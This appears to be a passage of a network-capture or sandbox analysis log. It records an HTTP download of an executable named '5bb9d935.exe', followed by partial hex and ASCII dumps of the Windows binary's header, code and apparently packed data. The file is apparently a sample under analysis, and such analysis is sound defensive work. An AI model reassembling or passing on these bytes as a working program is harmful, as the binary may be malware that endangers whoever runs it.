2022-08-31 12:28:52 UTC	188	IN	HTTP/1.1 200 OK Connection: close Content-Description: File Transfer Content-Type: application/octet-stream Content-Disposition: attachment; filename=5bb9d935.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Transfer-Encoding: chunked Date: Wed, 31 Aug 2022 12:28:52 GMT Server: LiteSpeed Alt-Svc: quic=":443"; ma=2592000; v="43,46", h3-Q043=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-25=":443"; ma=2592000, h3-27=":443"; ma=2592000
2022-08-31 12:28:52 UTC	188	IN	Data Raw: 31 30 30 30 30 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 26 6d 45 5a 62 0c 2b 09 62 0c 2b 09 62 0c 2b 09 7c 5e be 09 75 0c 2b 09 7c 5e a8 09 e5 0c 2b 09 45 ca 50 09 65 0c 2b 09 62 0c 2a 09 d6 0c 2b 09 7c 5e af 09 59 0c 2b 09 7c 5e bf 09 63 0c 2b 09 7c 5e ba 09 63 0c 2b 09 52 69 63 68 62 0c 2b 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 14 62 34 61 00 00 00 00 Data Ascii: 10000MZ@!L!This program cannot be run in DOS mode.$&mEZb+b+b+\|^u+\|^+EPe+b*+\|^Y+\|^c+\|^c+Richb+PELb4a
2022-08-31 12:28:52 UTC	189	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8c 1b 03 00 00 00 00 00 70 1b 03 00 60 1b 03 00 40 1b 03 00 50 1b 03 00 00 00 00 00 d6 14 03 00 e8 14 03 00 f4 14 03 00 0e 15 03 00 1e 15 03 00 34 15 03 00 44 15 03 00 5a 15 03 00 6e 15 Data Ascii: p`@P4DZn
2022-08-31 12:28:52 UTC	204	IN	Data Raw: 00 5f 00 63 00 72 00 74 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 57 00 69 00 6e 00 64 00 6f 00 77 00 41 00 00 00 5f 00 65 00 78 00 70 00 61 00 6e 00 64 00 5f 00 62 00 61 00 73 00 65 00 00 00 00 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c 00 73 00 65 00 6c 00 66 00 5f 00 78 00 38 00 36 00 5c 00 63 00 72 00 74 00 5c 00 73 00 72 00 63 00 5c 00 65 00 78 00 70 00 61 00 6e 00 64 00 2e 00 63 00 00 00 70 00 42 00 6c 00 6f 00 63 00 6b 00 20 00 21 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 00 00 00 00 48 65 61 70 51 75 65 72 79 49 6e 66 6f 72 6d 61 74 69 6f 6e 00 00 00 00 6b 00 65 00 72 00 6e 00 65 00 6c 00 33 00 32 00 2e 00 64 00 6c 00 6c 00 00 00 00 00 00 00 00 00 Data Ascii: _crtMessageWindowA_expand_basef:\dd\vctools\crt_bld\self_x86\crt\src\expand.cpBlock != NULLHeapQueryInformationkernel32.dll
2022-08-31 12:28:52 UTC	220	IN	Data Raw: 63 72 6f 73 73 20 61 20 66 75 6e 63 74 69 6f 6e 20 63 61 6c 6c 2e 20 20 54 68 69 73 20 69 73 20 75 73 75 61 6c 6c 79 20 61 20 72 65 73 75 6c 74 20 6f 66 20 63 61 6c 6c 69 6e 67 20 61 20 66 75 6e 63 74 69 6f 6e 20 64 65 63 6c 61 72 65 64 20 77 69 74 68 20 6f 6e 65 20 63 61 6c 6c 69 6e 67 20 63 6f 6e 76 65 6e 74 69 6f 6e 20 77 69 74 68 20 61 20 66 75 6e 63 74 69 6f 6e 20 70 6f 69 6e 74 65 72 20 64 65 63 6c 61 72 65 64 20 77 69 74 68 20 61 20 64 69 66 66 65 72 65 6e 74 20 63 61 6c 6c 69 6e 67 20 63 6f 6e 76 65 6e 74 69 6f 6e 2e 0a 0d 00 00 00 00 a8 89 40 00 88 88 40 00 68 88 40 00 30 88 40 00 04 88 40 00 e4 87 40 00 01 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 53 74 61 63 6b 20 61 72 6f 75 6e 64 20 74 68 65 20 76 61 72 69 61 62 6c Data Ascii: cross a function call. This is usually a result of calling a function declared with one calling convention with a function pointer declared with a different calling convention.@@h@0@@@Stack around the variabl
2022-08-31 12:28:52 UTC	236	IN	Data Raw: e8 aa ae 00 00 83 c4 18 83 f8 01 75 01 cc eb 20 68 a8 24 40 00 68 14 1a 40 00 6a 00 6a 00 6a 00 6a 00 e8 88 ae 00 00 83 c4 18 83 f8 01 75 01 cc c7 45 dc 00 00 00 00 e9 ca 02 00 00 c7 45 dc 01 00 00 00 a1 e8 5e 84 00 89 45 e4 eb 08 8b 4d e4 8b 11 89 55 e4 83 7d e4 00 0f 84 a7 02 00 00 c7 45 d8 01 00 00 00 8b 45 e4 8b 48 14 81 e1 ff ff 00 00 83 f9 04 74 23 8b 55 e4 83 7a 14 01 74 1a 8b 45 e4 8b 48 14 81 e1 ff ff 00 00 83 f9 02 74 09 8b 55 e4 83 7a 14 03 75 18 8b 45 e4 8b 48 14 81 e1 ff ff 00 00 8b 14 8d a4 19 40 00 89 55 d4 eb 07 c7 45 d4 a0 24 40 00 6a 04 0f b6 05 44 5a 44 00 50 8b 4d e4 83 c1 1c 51 e8 d0 fd ff ff 83 c4 0c 85 c0 75 7a 8b 55 e4 83 7a 08 00 74 3d 8b 45 e4 8b 48 0c 51 8b 55 e4 8b 42 08 50 8b 4d e4 83 c1 20 51 8b 55 e4 8b 42 18 50 8b 4d d4 51 Data Ascii: u h$@h@jjjjuEE^EMU}EEHt#UztEHtUzuEH@UE$@jDZDPMQuzUzt=EHQUBPM QUBPMQ
2022-08-31 12:28:52 UTC	252	IN	Data Raw: 02 e8 d9 d6 ff ff 83 c4 14 83 f8 01 75 01 cc 83 7d b4 00 75 33 e8 95 29 00 00 c7 00 16 00 00 00 6a 00 68 e4 03 00 00 68 f0 32 40 00 68 50 35 40 00 68 b8 32 40 00 e8 f4 25 00 00 83 c4 14 b8 16 00 00 00 e9 01 01 00 00 8b 45 d8 8b 48 04 83 e9 01 89 4d dc 8b 55 d8 33 c0 83 3a 2d 0f 94 c0 03 45 0c 89 45 fc 83 7d 10 ff 75 08 8b 4d 10 89 4d b0 eb 13 8b 55 d8 33 c0 83 3a 2d 0f 94 c0 8b 4d 10 2b c8 89 4d b0 8b 55 d8 52 8b 45 14 50 8b 4d b0 51 8b 55 fc 52 e8 a4 d3 00 00 83 c4 10 89 45 c0 83 7d c0 00 74 0e 8b 45 0c c6 00 00 8b 45 c0 e9 94 00 00 00 8b 4d d8 8b 51 04 83 ea 01 39 55 dc 0f 9c c0 88 45 bf 8b 4d d8 8b 51 04 83 ea 01 89 55 dc 83 7d dc fc 7c 08 8b 45 dc 3b 45 14 7c 26 8b 4d 1c 51 6a 01 8b 55 d8 52 8b 45 18 50 8b 4d 14 51 8b 55 10 52 8b 45 0c 50 e8 6f ee ff Data Ascii: u}u3)jhh2@hP5@h2@%EHMU3:-EE}uMMU3:-M+MUREPMQURE}tEEMQ9UEMQU}\|E;E\|&MQjUREPMQUREPo
2022-08-31 12:28:52 UTC	252	IN	Data Raw: 31 30 30 30 30 0d 0a 55 14 52 8b 45 10 50 8b 4d 0c 51 8b 55 08 52 e8 1c ff ff ff 83 c4 1c 5d c3 cc cc cc cc cc cc cc 8b ff 55 8b ec 83 7d 0c 00 74 23 8b 45 08 50 e8 1c cf ff ff 83 c4 04 83 c0 01 50 8b 4d 08 51 8b 55 08 03 55 0c 52 e8 85 d6 00 00 83 c4 0c 5d c3 8b ff 55 8b ec 51 c7 45 fc 00 00 00 00 eb 09 8b 45 fc 83 c0 01 89 45 fc 83 7d fc 0a 73 1f 8b 4d fc 8b 14 8d 90 5b 44 00 52 e8 72 03 00 00 83 c4 04 8b 4d fc 89 04 8d 90 5b 44 00 eb d2 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 83 ec 10 89 7d fc 8b 45 08 99 8b f8 33 fa 2b fa 83 e7 0f 33 fa 2b fa 85 ff 75 3c 8b 4d 10 8b d1 83 e2 7f 89 55 f4 3b ca 74 12 2b ca 51 50 e8 5a 00 00 00 83 c4 08 8b 45 08 8b 55 f4 85 d2 74 45 03 45 10 2b c2 89 45 f8 33 c0 8b 7d f8 8b 4d f4 f3 aa 8b 45 08 Data Ascii: 10000UREPMQUR]U}t#EPPMQUUR]UQEEE}sM[DRrM[D]U}E3+3+u<MU;t+QPZEUtEE+E3}ME
2022-08-31 12:28:52 UTC	254	IN	Data Raw: 8b 4d f8 8b 91 fc 01 00 00 89 55 fc 83 7d fc 00 74 0a 8b 45 08 50 ff 55 fc 89 45 08 8b 45 08 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 8b ff 55 8b ec ff 15 c0 11 40 00 5d c2 04 00 cc 8b ff 55 8b ec 51 a1 bc 5b 44 00 50 ff 15 bc 11 40 00 89 45 fc 83 7d fc 00 75 22 8b 0d 78 60 84 00 51 e8 29 ff ff ff 83 c4 04 89 45 fc 8b 55 fc 52 a1 bc 5b 44 00 50 ff 15 c4 11 40 00 8b 45 fc 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 8b ff 55 8b ec 83 ec 08 68 74 35 40 00 e8 9e fe ff ff 83 c4 04 89 45 fc 83 7d fc 00 75 0c e8 ed 01 00 00 33 c0 e9 dc 01 00 00 68 f4 35 40 00 8b 45 fc 50 ff 15 44 10 40 00 a3 74 60 84 00 68 e8 35 40 00 8b 4d fc 51 ff 15 44 10 40 00 a3 78 60 84 00 68 dc 35 40 00 8b 55 fc 52 ff 15 44 10 40 00 a3 7c 60 84 00 68 d4 35 40 00 8b 45 fc 50 ff Data Ascii: MU}tEPUEE]U@]UQ[DP@E}u"x`Q)EUR[DP@E]Uht5@E}u3h5@EPD@t`h5@MQD@x`h5@URD@\|`h5@EP
2022-08-31 12:28:52 UTC	268	IN	Data Raw: 0c 83 c2 01 89 55 0c 3b c1 74 21 8b 45 f4 83 e8 01 89 45 f4 8b 4d 08 51 8b 95 f4 fd ff ff 52 e8 c9 03 00 00 83 c4 08 e9 b2 00 00 00 0f b6 85 f4 fd ff ff 50 e8 04 bc 00 00 83 c4 04 85 c0 74 77 8b 4d f4 83 c1 01 89 4d f4 8b 55 08 52 e8 3b 03 00 00 83 c4 04 89 85 d4 fd ff ff 8b 45 0c 0f b6 08 8b 95 d4 fd ff ff 8b 45 0c 83 c0 01 89 45 0c 3b ca 74 3a 8b 4d f4 83 e9 01 89 4d f4 8b 55 08 52 8b 85 d4 fd ff ff 50 e8 60 03 00 00 83 c4 08 8b 4d f4 83 e9 01 89 4d f4 8b 55 08 52 8b 85 f4 fd ff ff 50 e8 44 03 00 00 83 c4 08 eb 30 8b 4d f4 83 e9 01 89 4d f4 83 bd f4 fd ff ff ff 75 19 8b 55 0c 0f b6 02 83 f8 25 75 0c 8b 4d 0c 0f b6 51 01 83 fa 6e 74 02 eb 05 e9 be ec ff ff 83 7d e0 01 75 0e 6a 02 8b 45 8c 50 e8 2e 74 ff ff 83 c4 08 83 bd f4 fd ff ff ff 75 47 83 7d f8 00 Data Ascii: U;t!EEMQRPtwMMUR;EEE;t:MMURP`MMURPD0MMuU%uMQnt}ujEP.tuG}
2022-08-31 12:28:52 UTC	284	IN	Data Raw: 0c 50 ff 15 30 12 40 00 8b 0d 14 65 84 00 8b 51 10 52 6a 00 a1 04 65 84 00 50 ff 15 e4 10 40 00 8b 0d b0 69 84 00 6b c9 14 03 0d b4 69 84 00 8b 15 14 65 84 00 83 c2 14 2b ca 51 a1 14 65 84 00 83 c0 14 50 8b 0d 14 65 84 00 51 e8 9d 56 00 00 83 c4 0c 8b 15 b0 69 84 00 83 ea 01 89 15 b0 69 84 00 8b 45 08 3b 05 14 65 84 00 76 09 8b 4d 08 83 e9 14 89 4d 08 8b 15 b4 69 84 00 89 15 bc 69 84 00 8b 45 08 a3 14 65 84 00 8b 4d ec 89 0d c4 69 84 00 8b e5 5d c3 cc cc cc cc cc cc 8b ff 55 8b ec 83 ec 38 56 a1 b0 69 84 00 6b c0 14 03 05 b4 69 84 00 89 45 f4 8b 4d 08 83 c1 17 83 e1 f0 89 4d c8 8b 55 c8 c1 fa 04 83 ea 01 89 55 cc 83 7d cc 20 7d 14 83 c8 ff 8b 4d cc d3 e8 89 45 e8 c7 45 d0 ff ff ff ff eb 15 c7 45 e8 00 00 00 00 8b 4d cc 83 e9 20 83 ca ff d3 ea 89 55 d0 a1 Data Ascii: P0@eQRjeP@ikie+QePeQViiE;evMMiiEeMi]U8VikiEMMUU} }MEEEM U
2022-08-31 12:28:52 UTC	300	IN	Data Raw: 54 8b 4d 08 8b 51 20 83 ca 01 8b 45 08 89 50 20 8b 4d 08 8b 51 20 83 e2 e1 8b 45 08 89 50 20 8b 4d 08 8b 55 18 d9 02 d9 59 10 8b 45 08 8b 48 60 83 c9 01 8b 55 08 89 4a 60 8b 45 08 8b 48 60 83 e1 e1 8b 55 08 89 4a 60 8b 45 08 8b 4d 1c d9 01 d9 58 50 eb 58 8b 55 08 8b 42 20 83 c8 01 8b 4d 08 89 41 20 8b 55 08 8b 42 20 83 e0 e1 83 c8 02 8b 4d 08 89 41 20 8b 55 08 8b 45 18 dd 00 dd 5a 10 8b 4d 08 8b 51 60 83 ca 01 8b 45 08 89 50 60 8b 4d 08 8b 51 60 83 e2 e1 83 ca 02 8b 45 08 89 50 60 8b 4d 08 8b 55 1c dd 02 dd 59 50 e8 7b 08 00 00 8d 45 08 50 6a 01 6a 00 8b 4d fc 51 ff 15 9c 11 40 00 8b 55 08 8b 42 08 c1 e8 04 83 e0 01 74 0d 8b 4d 0c 8b 11 83 e2 fe 8b 45 0c 89 10 8b 4d 08 8b 51 08 c1 ea 03 83 e2 01 74 0d 8b 45 0c 8b 08 83 e1 fb 8b 55 0c 89 0a 8b 45 08 8b 48 Data Ascii: TMQ EP MQ EP MUYEH`UJ`EH`UJ`EMXPXUB MA UB MA UEZMQ`EP`MQ`EP`MUYP{EPjjMQ@UBtMEMQtEUEH
2022-08-31 12:28:52 UTC	316	IN	Data Raw: 6b 40 00 6a 02 e8 c3 d4 fe ff 83 c4 14 83 f8 01 75 01 cc 83 7d f0 00 75 2e e8 7f 27 ff 0d 0a Data Ascii: k@ju}u.'
2022-08-31 12:28:52 UTC	316	IN	Data Raw: 31 30 30 30 30 0d 0a ff c7 00 16 00 00 00 6a 00 6a 26 68 68 6b 40 00 68 44 6b 40 00 68 50 41 40 00 e8 e1 23 ff ff 83 c4 14 83 c8 ff e9 00 01 00 00 8b 4d 0c 89 4d fc 83 7d 08 ff 74 24 8b 55 fc 8b 42 0c 83 e0 01 75 21 8b 4d fc 8b 51 0c 81 e2 80 00 00 00 74 0b 8b 45 fc 8b 48 0c 83 e1 02 74 08 83 c8 ff e9 c8 00 00 00 8b 55 fc 83 7a 08 00 75 0c 8b 45 fc 50 e8 ac ad 00 00 83 c4 04 8b 4d fc 8b 55 fc 8b 01 3b 42 08 75 1e 8b 4d fc 83 79 04 00 74 08 83 c8 ff e9 95 00 00 00 8b 55 fc 8b 02 83 c0 01 8b 4d fc 89 01 8b 55 fc 8b 42 0c 83 e0 40 74 31 8b 4d fc 8b 11 83 ea 01 8b 45 fc 89 10 8b 4d fc 8b 11 0f be 02 0f be 4d 08 3b c1 74 12 8b 55 fc 8b 02 83 c0 01 8b 4d fc 89 01 83 c8 ff eb 4e eb 17 8b 55 fc 8b 02 83 e8 01 8b 4d fc 89 01 8b 55 fc 8b 02 8a 4d 08 88 08 8b 55 fc Data Ascii: 10000jj&hhk@hDk@hPA@#MM}t$UBu!MQtEHtUzuEPMU;BuMytUMUB@t1MEMM;tUMNUMUMU
2022-08-31 12:28:52 UTC	332	IN	Data Raw: 76 39 8b 55 10 83 ea 01 39 15 38 5a 44 00 73 0a a1 38 5a 44 00 89 45 d4 eb 09 8b 4d 10 83 e9 01 89 4d d4 8b 55 d4 52 68 fe 00 00 00 8b 45 0c 83 c0 01 50 e8 ff 55 fe ff 83 c4 0c 8b 4d 10 39 4d f4 1b d2 f7 da 89 55 e8 75 21 68 d0 7d 40 00 6a 00 68 57 01 00 00 68 50 7d 40 00 6a 02 e8 55 94 fe ff 83 c4 14 83 f8 01 75 01 cc 83 7d e8 00 75 30 e8 11 e7 fe ff c7 00 22 00 00 00 6a 00 68 57 01 00 00 68 50 7d 40 00 68 fc 7d 40 00 68 d0 7d 40 00 e8 70 e3 fe ff 83 c4 14 b8 22 00 00 00 eb 28 8b 4d 10 89 4d f4 c7 45 fc 50 00 00 00 8b 55 0c 03 55 f4 c6 42 ff 00 83 7d 08 00 74 08 8b 45 08 8b 4d f4 89 08 8b 45 fc 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc 8b ff 55 8b ec 6a 00 8b 45 18 50 8b 4d 14 51 8b 55 10 52 8b 45 0c 50 8b 4d 08 51 e8 b0 fc ff ff 83 c4 18 5d c3 cc cc cc Data Ascii: v9U98ZDs8ZDEMMURhEPUM9MUu!h}@jhWhP}@jUu}u0"jhWhP}@h}@h}@p"(MMEPUUB}tEME]UjEPMQUREPMQ]
2022-08-31 12:28:52 UTC	348	IN	Data Raw: 6b c9 14 8b 55 c0 8b 45 bc 3b 44 0a 04 7e 33 8b 4d c4 6b c9 14 8b 55 c0 8b 45 bc 3b 44 0a 08 7f 21 8b 4d c4 6b c9 14 8b 55 c0 8b 44 0a 04 83 c0 01 89 45 bc 8b 4d bc 8b 55 b8 8b 04 ca 89 45 bc eb 02 eb a5 8b 4d bc 51 8b 55 14 52 6a 00 8b 45 0c 50 e8 11 fc ff ff 83 c4 10 c7 45 d0 00 00 00 00 c7 45 fc 00 00 00 00 c7 45 fc fe ff ff ff c7 45 b4 00 00 00 00 e8 05 00 00 00 e9 99 00 00 00 8b 4d 0c 8b 55 e0 89 51 fc 8b 45 e4 50 e8 b6 6a ff ff 83 c4 04 e8 fe 89 fe ff 8b 4d c8 89 88 88 00 00 00 e8 f0 89 fe ff 8b 55 cc 89 90 8c 00 00 00 8b 45 08 81 38 63 73 6d e0 75 5c 8b 4d 08 83 79 10 03 75 53 8b 55 08 81 7a 14 20 05 93 19 74 18 8b 45 08 81 78 14 21 05 93 19 74 0c 8b 4d 08 81 79 14 22 05 93 19 75 2f 83 7d dc 00 75 29 83 7d d0 00 74 23 8b 55 08 8b 42 18 50 e8 17 6a Data Ascii: kUE;D~3MkUE;D!MkUDEMUEMQURjEPEEEEMUQEPjMUE8csmu\MyuSUz tEx!tMy"u/}u)}t#UBPj
2022-08-31 12:28:52 UTC	364	IN	Data Raw: 50 8b 85 88 fb ff ff 0f b6 08 51 e8 e8 3b ff ff 83 c4 08 85 c0 74 0f 8b 95 88 fb ff ff 83 c2 01 89 95 88 fb ff ff 8b 85 88 fb ff ff 83 c0 01 89 85 88 fb ff ff eb a0 eb 64 83 7d fc 00 75 09 8b 0d 9c 65 44 00 89 4d fc c7 45 f4 01 00 00 00 8b 55 fc 89 95 80 fb ff ff 8b 85 84 fb ff ff 8b 8d 84 fb ff ff 83 e9 01 89 8d 84 fb ff ff 85 c0 74 1e 8b 95 80 fb ff ff 0f b7 02 85 c0 74 11 8b 8d 80 fb ff ff 83 c1 02 89 8d 80 fb ff ff eb c9 8b 95 80 fb ff ff 2b 55 fc d1 fa 89 55 dc e9 b6 05 00 00 8d 45 14 50 e8 dd 99 fe ff 83 c4 04 89 85 7c fb ff ff e8 4f e1 fd ff 85 c0 0f 85 a4 00 00 00 33 c9 74 0c c7 85 0c fb ff ff 01 00 00 00 eb 0a c7 85 0c fb ff ff 00 00 00 00 8b 95 0c fb ff ff 89 95 78 fb ff ff 83 bd 78 fb ff ff 00 75 21 68 e8 44 40 00 6a 00 68 95 06 00 00 68 70 45 Data Ascii: PQ;td}ueDMEUtt+UUEP\|O3txxu!hD@jhhpE
2022-08-31 12:28:52 UTC	380	IN	Data Raw: 00 00 00 00 86 15 41 00 fe ff ff ff 00 00 00 00 cc ff ff ff 00 00 00 00 fe ff ff ff 00 00 00 00 08 18 41 00 fe ff ff ff 0d 0a Data Ascii: AA
2022-08-31 12:28:52 UTC	380	IN	Data Raw: 31 30 30 30 30 0d 0a 00 00 00 00 75 18 41 00 fe ff ff ff 00 00 00 00 d0 ff ff ff 00 00 00 00 fe ff ff ff 00 00 00 00 71 1c 41 00 00 00 00 00 fe ff ff ff 00 00 00 00 c8 ff ff ff 00 00 00 00 fe ff ff ff 00 00 00 00 ee 1e 41 00 ff ff ff ff b0 e8 42 00 22 05 93 19 01 00 00 00 44 0c 43 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 fe ff ff ff 00 00 00 00 d4 ff ff ff 00 00 00 00 fe ff ff ff f9 28 41 00 ff 28 41 00 00 00 00 00 fe ff ff ff 00 00 00 00 d4 ff ff ff 00 00 00 00 fe ff ff ff af 29 41 00 b5 29 41 00 00 00 00 00 fe ff ff ff 00 00 00 00 b0 ff ff ff 00 00 00 00 fe ff ff ff 00 00 00 00 ac 2e 41 00 00 00 00 00 fe ff ff ff 00 00 00 00 d0 ff ff ff 00 00 00 00 fe ff ff ff 26 32 41 00 3f 32 41 00 00 00 00 00 fe ff ff ff 00 00 00 00 Data Ascii: 10000uAqAAB"DC(A(A)A)A.A&2A?2A
2022-08-31 12:28:52 UTC	396	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2022-08-31 12:28:52 UTC	412	IN	Data Raw: ac 2e 77 29 e9 c2 97 08 b0 ba 2c 32 ba 76 29 40 bf a0 61 ae b6 ab 89 b4 3c 6c 39 30 ff d5 ad d3 7e 17 e1 dc 41 5b c8 64 cc e6 92 b9 5c c3 5a ab 19 4c 61 2b aa 98 d8 58 55 45 0f ff 64 8c 22 88 35 da 82 59 04 4d ea c6 cf 63 24 78 ea 8f 94 bf 93 28 0e d1 ee cf 45 7a 8b 64 4e cd 8b 46 e9 d1 e8 e0 18 19 e5 2c 1a d1 a4 78 7c 6c 4e c3 8f 2c 0d eb 5e b2 5f ab 9c ae fc de 47 71 9e d2 69 d7 0d d4 98 0f 68 e4 13 d2 eb a0 e5 f8 fa 3f b4 f8 2a 5f ba 87 a0 93 70 51 4d 23 a8 0b a6 41 75 94 b0 ba 40 7f fd bd 75 31 1f ba e3 56 9c 55 bf b8 fc 77 8c 66 ef 6d 20 1c 0f a7 f2 ad d0 93 7e 3b ae 18 10 98 1a 30 b4 6c 3c b2 46 ad a7 56 6b f1 31 27 f5 e7 b8 7c 76 3a c0 41 e6 55 68 1c cf c0 58 85 85 7d 91 32 90 ee 47 86 64 d7 a3 62 a7 ff 5a d3 db a0 fd d3 54 d7 00 94 6d 0a 31 5a 0e Data Ascii: .w),2v)@a<l90~A[d\ZLa+XUEd"5YMc$x(EzdNF,x\|lN,^_Gqih?*_pQM#Au@u1VUwfm ~;0l<FVk1'\|v:AUhX}2GdbZTm1Z
2022-08-31 12:28:52 UTC	428	IN	Data Raw: f0 91 35 02 7a d9 d3 d2 39 0b 33 ec 74 0d 22 29 73 d8 ec 32 a0 1b ba a2 33 cb a7 11 37 f9 bb 46 50 ad 00 80 64 a1 0a ab 2c 6a a3 87 d7 e4 17 0a 84 ae 2e 65 5d 5a 03 d2 a6 53 bb 61 c6 ef 3c 82 aa 0a 38 23 1f 02 9c 6a f4 cf db bd 44 87 16 38 28 00 20 c3 53 7d 33 ec 80 03 27 6e fb 2a 9d 30 a9 f4 18 1c 2a 79 ff 33 db 33 43 75 a1 3e b4 52 54 f6 82 70 3a 6a 95 c9 26 30 26 8a 28 bc 2a c1 5f f9 64 3c e5 8a e0 fe 64 e0 bd a7 00 0c b3 6e 54 b4 46 4f a8 9c 80 ff ba 85 08 ca 8d c7 21 a9 85 4f a3 3b c8 5e fc 05 83 2b b0 d3 52 a8 ea 07 35 f8 2c b4 6e 31 90 db f5 41 b9 6c 09 7e 46 46 dd ae 5f 07 c4 f3 70 9e ae e2 4a 86 56 ea cf 1d b0 ce ab e4 ab f1 1b 17 3b 55 b8 bb 60 00 92 4a de e2 1b 4b 55 ce 0f 95 d3 f5 f8 dc 5d 25 bb bd 7c d0 2e 5c cc af 52 7a 70 7f 3a 5d cf be 10 Data Ascii: 5z93t")s237FPd,j.e]ZSa<8#jD8( S}3'n0y33Cu>RTp:j&0&(*_d<dnTFO!O;^+R5,n1Al~FF_pJV;U`JKU]%\|.\Rzp:]
2022-08-31 12:28:52 UTC	444	IN	Data Raw: ce e5 73 66 96 d2 e5 11 f6 49 64 14 33 c1 af 75 de e6 26 de 89 34 e0 6b eb 9f b0 11 fd 95 33 33 0e 96 b7 13 a0 98 99 08 47 0d 0a Data Ascii: sfId3u&4k33G
2022-08-31 12:28:52 UTC	444	IN	Data Raw: 61 38 30 30 0d 0a 08 87 61 81 1b af a2 08 02 c3 32 a2 a2 f4 e5 05 95 89 21 52 2a 52 c6 49 82 b7 f5 74 f3 3b 70 f2 8a 21 5e 02 3d c6 4d d2 13 4b 37 50 fb b8 c1 a7 05 8b f0 13 f9 12 df 83 18 d5 04 53 c5 f6 0d 9e 28 51 d3 02 48 ab 6b 1e 34 28 b7 79 60 a2 31 65 ed 52 5e 99 e1 8d 31 4b 3f a9 6a 1b c5 27 bf 16 31 c0 20 f1 79 98 e9 d6 a2 c3 ba 5e bf eb e5 56 86 a9 a6 f5 b4 2a 35 7f 0b 69 8b 60 85 d6 48 7d db e3 68 7d 89 a9 32 8f 6c a0 5b 69 e4 e3 6d 76 1a 07 64 06 23 c0 79 e4 bf 03 a6 35 7e 3f ff 73 d0 6c c1 b1 49 c8 40 36 9a f3 1f 6e 14 54 8a 97 d2 4e 01 23 a9 c4 9a c5 33 b6 a0 37 fd 6e 25 eb 75 1b e8 76 a9 29 61 f1 2b f9 b6 d3 9d f8 03 4d c6 a4 32 5a 48 59 a5 5c 83 9f bb dd 69 9e 77 a4 ac 81 df 70 c3 7c 58 7f 19 84 f3 d7 98 f6 e1 90 d8 2b f1 00 7f 06 1b db e7 Data Ascii: a800a2!RRIt;p!^=MK7PS(QHk4(y`1eR^1K?j'1 y^V5i`H}h}2l[imvd#y5~?slI@6nTN#37n%uv)a+M2ZHY\iwp\|X+
2022-08-31 12:28:52 UTC	446	IN	Data Raw: 7d 7c bb d9 40 a6 e0 b3 5c 7b 5e 3c f6 01 ff 26 85 b3 40 2c 6a e1 bf 74 84 c6 d7 35 4c 14 96 4b 48 29 fb cb 78 db 1f d4 fd e8 e7 d1 a6 5d cb 68 c0 e7 4b 36 fd 93 0f 3b 99 ef 38 4a fe df 4e 84 93 73 be b8 b6 df 89 67 fd 06 a4 b8 e6 36 7d a4 ff 3d 6c 6a e6 d3 1d c3 ca c9 15 e2 e3 af 33 82 7c ed ec 63 26 91 a7 60 1d 1c 04 bb bf a3 13 43 ea 85 cc 31 4d 5b e4 cf 5a 5f 79 57 99 94 de 1e 40 a0 8a ec 18 30 f1 f1 cf ab e1 e4 c6 7b e4 1a b3 82 30 bf fb 0f 46 0e 16 9e b2 0b f8 41 e4 54 5d f9 e6 82 5a d1 ee a9 56 67 e5 8f e1 63 7e 65 9e b7 dd f9 19 4d 8f 49 49 90 b8 db 79 bb 74 4a 00 dc 04 25 01 a3 0e 35 16 f3 1c 8b 83 35 